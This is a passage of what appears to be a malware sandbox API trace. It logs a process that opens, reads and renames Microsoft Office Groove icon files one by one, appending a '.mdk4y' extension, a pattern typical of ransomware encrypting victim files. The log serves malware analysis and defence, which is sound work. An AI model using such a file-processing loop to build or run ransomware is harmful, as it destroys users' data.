(in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9f6, lpOverlapped=0x0) returned 1 [0222.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829765100000) returned 1 [0222.421] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829765100000) returned 1 [0222.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ModifiedTelespace.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\modifiedtelespace.ico.mdk4y")) returned 1 [0222.423] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.423] AreFileApisANSI () returned 1 [0222.423] GetACP () returned 0x4e4 [0222.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFLINE.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OFFLINE.ICOespace.ico", lpUsedDefaultChar=0x37dec0) returned 11 [0222.423] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.424] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829765400000) returned 1 [0222.424] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd6e, lpOverlapped=0x0) returned 1 [0222.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829769700000) returned 1 [0222.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829769700000) returned 1 [0222.467] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico.mdk4y")) returned 1 [0222.491] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.491] AreFileApisANSI () returned 1 [0222.491] GetACP () returned 0x4e4 [0222.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ONLINE.ICO", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ONLINE.ICOO", lpUsedDefaultChar=0x37dec0) returned 10 [0222.491] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829772200000) returned 1 [0222.492] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd6e, lpOverlapped=0x0) returned 1 [0222.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829774300000) returned 1 [0222.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829774300000) returned 1 [0222.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico.mdk4y")) returned 1 [0222.515] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.515] AreFileApisANSI () returned 1 [0222.515] GetACP () returned 0x4e4 [0222.515] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OnLineBusy.ico", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OnLineBusy.icoace.ico", lpUsedDefaultChar=0x37dec0) returned 14 [0222.516] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829774700000) returned 1 [0222.517] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd6e, lpOverlapped=0x0) returned 1 [0222.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829775300000) returned 1 [0222.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829775300000) returned 1 [0222.524] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico.mdk4y")) returned 1 [0222.525] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.525] AreFileApisANSI () returned 1 [0222.525] GetACP () returned 0x4e4 [0222.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OnLineIdle.ico", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OnLineIdle.ico", lpUsedDefaultChar=0x37dec0) returned 14 [0222.525] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829775600000) returned 1 [0222.526] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd6e, lpOverlapped=0x0) returned 1 [0222.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829775700000) returned 1 [0222.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829775700000) returned 1 [0222.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico.mdk4y")) returned 1 [0222.529] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.529] AreFileApisANSI () returned 1 [0222.529] GetACP () returned 0x4e4 [0222.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutDomain.ico", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OutDomain.icoo", lpUsedDefaultChar=0x37dec0) returned 13 [0222.529] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829775900000) returned 1 [0222.529] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x13e, lpOverlapped=0x0) returned 1 [0222.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776000000) returned 1 [0222.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776000000) returned 1 [0222.530] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico.mdk4y")) returned 1 [0222.532] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.532] AreFileApisANSI () returned 1 [0222.532] GetACP () returned 0x4e4 [0222.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTGOING.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OUTGOING.ICOo", lpUsedDefaultChar=0x37dec0) returned 12 [0222.532] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776200000) returned 1 [0222.533] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6b6, lpOverlapped=0x0) returned 1 [0222.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776400000) returned 1 [0222.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776400000) returned 1 [0222.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico.mdk4y")) returned 1 [0222.535] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.535] AreFileApisANSI () returned 1 [0222.535] GetACP () returned 0x4e4 [0222.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutSyncPC.ico", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OutSyncPC.ico", lpUsedDefaultChar=0x37dec0) returned 13 [0222.535] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776600000) returned 1 [0222.536] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x13e, lpOverlapped=0x0) returned 1 [0222.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776700000) returned 1 [0222.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776700000) returned 1 [0222.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico.mdk4y")) returned 1 [0222.539] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.539] AreFileApisANSI () returned 1 [0222.539] GetACP () returned 0x4e4 [0222.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PersonalContact.ico", cchWideChar=19, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PersonalContact.icoco", lpUsedDefaultChar=0x37dec0) returned 19 [0222.539] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829776900000) returned 1 [0222.539] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6b6, lpOverlapped=0x0) returned 1 [0222.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829778000000) returned 1 [0222.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829778000000) returned 1 [0222.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico.mdk4y")) returned 1 [0222.551] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.551] AreFileApisANSI () returned 1 [0222.551] GetACP () returned 0x4e4 [0222.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SessionMember.ico", cchWideChar=17, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SessionMember.icoco", lpUsedDefaultChar=0x37dec0) returned 17 [0222.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829778200000) returned 1 [0222.552] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829778700000) returned 1 [0222.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829778700000) returned 1 [0222.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico.mdk4y")) returned 1 [0222.559] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.559] AreFileApisANSI () returned 1 [0222.559] GetACP () returned 0x4e4 [0222.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SessionOwner.ico", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SessionOwner.icoo", lpUsedDefaultChar=0x37dec0) returned 16 [0222.559] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829779000000) returned 1 [0222.560] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9f6, lpOverlapped=0x0) returned 1 [0222.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829780800000) returned 1 [0222.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829780800000) returned 1 [0222.578] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico.mdk4y")) returned 1 [0222.580] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.580] AreFileApisANSI () returned 1 [0222.580] GetACP () returned 0x4e4 [0222.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpaceSelector.ico", cchWideChar=17, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SpaceSelector.ico", lpUsedDefaultChar=0x37dec0) returned 17 [0222.580] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829781100000) returned 1 [0222.581] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829781800000) returned 1 [0222.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829781800000) returned 1 [0222.589] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico.mdk4y")) returned 1 [0222.590] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.590] AreFileApisANSI () returned 1 [0222.590] GetACP () returned 0x4e4 [0222.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="StatusAway.ico", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="StatusAway.icoico", lpUsedDefaultChar=0x37dec0) returned 14 [0222.590] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829782100000) returned 1 [0222.591] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829782800000) returned 1 [0222.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829782800000) returned 1 [0222.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico.mdk4y")) returned 1 [0222.601] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.601] AreFileApisANSI () returned 1 [0222.601] GetACP () returned 0x4e4 [0222.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="StatusDoNotDisturb.ico", cchWideChar=22, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="StatusDoNotDisturb.ico", lpUsedDefaultChar=0x37dec0) returned 22 [0222.601] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829783100000) returned 1 [0222.601] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb2e, lpOverlapped=0x0) returned 1 [0222.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829784000000) returned 1 [0222.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829784000000) returned 1 [0222.610] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico.mdk4y")) returned 1 [0222.612] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0222.612] AreFileApisANSI () returned 1 [0222.612] GetACP () returned 0x4e4 [0222.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="StatusOnline.ico", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="StatusOnline.icorb.ico", lpUsedDefaultChar=0x37dec0) returned 16 [0222.612] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0222.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829784300000) returned 1 [0222.613] ReadFile (in: hFile=0xe0, 